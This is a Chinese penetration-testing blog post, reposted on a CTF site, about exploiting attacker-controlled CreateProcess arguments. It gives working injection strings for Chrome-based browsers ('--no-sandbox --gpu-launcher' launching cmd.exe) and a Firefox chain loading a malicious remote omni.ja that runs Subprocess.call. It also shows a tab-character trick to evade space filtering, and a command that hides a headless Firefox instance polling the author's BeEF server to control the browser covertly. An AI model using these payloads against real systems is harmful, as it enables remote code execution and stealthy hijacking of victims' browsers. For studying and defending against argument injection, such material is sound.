论如何利用可控参数拼接完成RCE

渗透技巧 3年前 (2021) admin
863 0 0

最近在挖一些漏洞由于涉及到具体项目不方便写出来所以一直没有更新公众号文章(其实就是五月病偷懒了)。这里给大家道个歉,这次在公众号末尾我打算抽5个免费星球资格作为福利,祝各位五月病快乐吧~

哦对了,各位都爆仓了吧?那就好好学习吧!!!


0x00 前置背景


最近有个案例觉得挺有意思,可以分享一下。我们知道Windows里启动一个进程可以使用createprocess函数(https://docs.microsoft.com/en-us/previous-versions/aa908775(v=msdn.10)),大体上的使用可以看空白写的

论如何利用可控参数拼接完成RCE

图里面的szCommandline变量就是一个字符串,里面是我们要执行的一个进程和对应的参数。
很容易理解这个使用方式,这里补充一点就是createprocess并不是cmd,不能用cmd里的命令方式来分割执行别的程序比如calc && notepad其中的notepad并没有正常运行。
那么当我们在某个程序里找到其传入createprocess函数时第二个变量可控,那么我们就可能可以执行命令。

    1.  szCommandline完全可控,不用说,自然可以直接执行cmd.exe /c xxxx

    2. 部分可控,一般是形如:”browser.exe userstr”其中userstr可控,那么就意味着我们可以控制参数,通过传入任意参数从而达到可能的rce。


完全可控就不多说了,这里我们简单谈一下参数可控的情况。一般来说参数可控,我们需要去查找对应程序的各种参数看看能不能达到包含外部执行的可能。比如:

chrome.exe urlstr


其中urlstr可控,原意是使用chrome.exe打开用户传递的链接。这时候我们传入https://www.baidu.com --gpu-launcher="cmd.exe"拼接到一起后便是


chrome.exe https://www.baidu.com --gpu-launcher="cmd.exe"


在老版本的Chrome里是可以执行cmd.exe的


0x01 Chrome系列浏览器

有了前面的认知,我们逐渐切合到场景中,假设这个注入的地方限制了只能使用浏览器。那么我们就先来看看几个常见的浏览器如何进行rce

chrome

前面已经举过例子了,这里简单的说一下

chrome.exe https://www.baidu.com --no-sandbox --gpu-launcher="cmd.exe"


在新版本Chrome里必须要加no-sandbox,因为不加的话由于有sandbox的作用所以会导致cmd不执行。


QQ浏览器

QQ浏览器用的Chrome内核,所以直接用Chrome的参数即可,但是发现其内核版本过低,所以只需要一个参数即可。

chrome.exe https://www.baidu.com --gpu-launcher="cmd.exe"


360浏览器

同样的Chrome内核,所以用的同一个参数,不过开了sandbox所以要加sandbox

chrome.exe https://www.baidu.com --no-sandbox --gpu-launcher="cmd.exe"


其他

类似的,很多都是Chrome内核,无非就是开不开sandbox的思路


0x02 火狐浏览器-命令执行

我找了很久,基本上没有太好的方式,目前看下来就只有两个历史漏洞可以做到

https://bugzilla.mozilla.org/show_bug.cgi?id=1530103
https://bugzilla.mozilla.org/show_bug.cgi?id=1606596

RCE is achieved by introducing malicious code into the contents of files in the omni.ja archives. We have had limited success launching arbitrary executables by injecting the following code into .js and .jws files (for example C:Program Files (x86)Mozilla Firefoxbrowseromni.ja’s /chrome/browser/content/browser/browser.js file).
上面两个历史漏洞是类似的,和我们目前这个结合,就可以造成rce。
大致流程是通过构造恶意的omni.ja,在其中的/chrome/browser/content/browser/browser.js插入以下的js代码


Components.utils.import("resource://gre/modules/Subprocess.jsm");
let opt = { command: "C:\windows\system32\calc.exe", arguments: [], workdir: "C:\windows\system32", stderr: "pipe"};
let x = Subprocess.call(opt);


然后通过控制firefox插入下面参数


-greomni "\remoteHostomni.ja" -appomni "\remoteHostomni2.ja


最终造成rce,大致的影响版本在firefox74以下,大概是一年前的版本。


0x03 火狐浏览器-过滤空格

这是我今天重点要讲的,这里我们限制一下条件:

    1. 限制createprocess的传入启动程序为firefox.exe

    2. 可控制的urlstr中过滤了空格


当我们可控制的过滤了空格,参数拼接就会变得异常困难,正常情况可以认为是不能再插入自定义参数了。因为我们前面插入额外参数全部依赖于空格作为分割符。这里过滤了空格后怎么办呢?
多亏了火狐,我们有了个新的分割符:制表符(t)
我通过手工fuzz,尝试了很多的字符,包括对其他浏览器的尝试,最终发现只有火狐在面对制表符的时候表现出矫正的feature!
我们尝试这样传入:

firefox.exe https://www.baidu.comt-new-window

如果成功分割就会弹出两个火狐浏览器,一个是百度,一个是新打开的,我们跟踪火绒剑


论如何利用可控参数拼接完成RCE


这个图里第一个和第二个分别是原进程和firefox进程,可以看到划线的地方都没有空格,看起来并没有分割。但比较有意思的是火狐好像不止开了一个进程:

论如何利用可控参数拼接完成RCE

在随后的进程里出现了一个把参数分割开的进程并运行。实际上我确实也在桌面上看到了两个火狐浏览器。
火狐这个行为给了我一个新的希望!各位可以举一反三,去fuzz其他程序,可控是不是也有类似的矫正行为,这将可能使你在本来无解的地方找到新的漏洞。


0x04 火狐-滥用参数

考虑到我暂时没有找到火狐参数的rce,那么在已经有的参数下我们能做到什么程度呢?
我首先想到的是headless,如果能以headless打开并且长期运行在后台,那会是一个不错的事情,因为可以直接让他访问我们自己的beef页面长期控制浏览器而不被前台发现。

firefox.exe https://www.baidu.comt-new-windowthttps://beeft-headless


当我这样做的时候我发现存在一个问题,如果后台运行了一个headless火狐后会直接导致前台无法新开一个新的火狐,会出现这样的情况


论如何利用可控参数拼接完成RCE


这是先开headless在桌面打开火狐出现的弹窗


论如何利用可控参数拼接完成RCE

这是已经桌面开了火狐后再开一个headless的火狐后的弹窗
那么如何避免这个问题出现呢?
这里我通过使用new-instance的方式来解决这个问题。
new-instance的参数使用时还得配合-P来指定一个额外的配置文件。
换句话说我们得指定与桌面环境不同的配置文件来生成这个headless实例才能避免和桌面环境的火狐冲突。

论如何利用可控参数拼接完成RCE


比较幸运的是火狐浏览器默认好像就有两个配置文件,桌面环境似乎用的第一个,那么我们在无头浏览器的时候使用default就行了。最终得到的命令行是:


firefox.exe https://www.baidu.comt-new-windowthttps://beeft-headlesst-new-instancet-Ptdefault


这样做我们就能启动一个运行在后台并且访问我们的beef的headless状态的火狐浏览器,这个进程会长期挂在后台,前台新开火狐等操作是感知不到的。
后续还有什么用,就看自己的想法了。


0x05 结语

对于火狐的利用我大概就到这一步了,如果有人知道最新火狐哪个参数可以直接rce的话私聊我一下哦




论如何利用可控参数拼接完成RCE

论如何利用可控参数拼接完成RCE


原文始发于微信公众号(赛博回忆录):论如何利用可控参数拼接完成RCE

版权声明:admin 发表于 2021年5月20日 上午12:15。
转载请注明:论如何利用可控参数拼接完成RCE | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...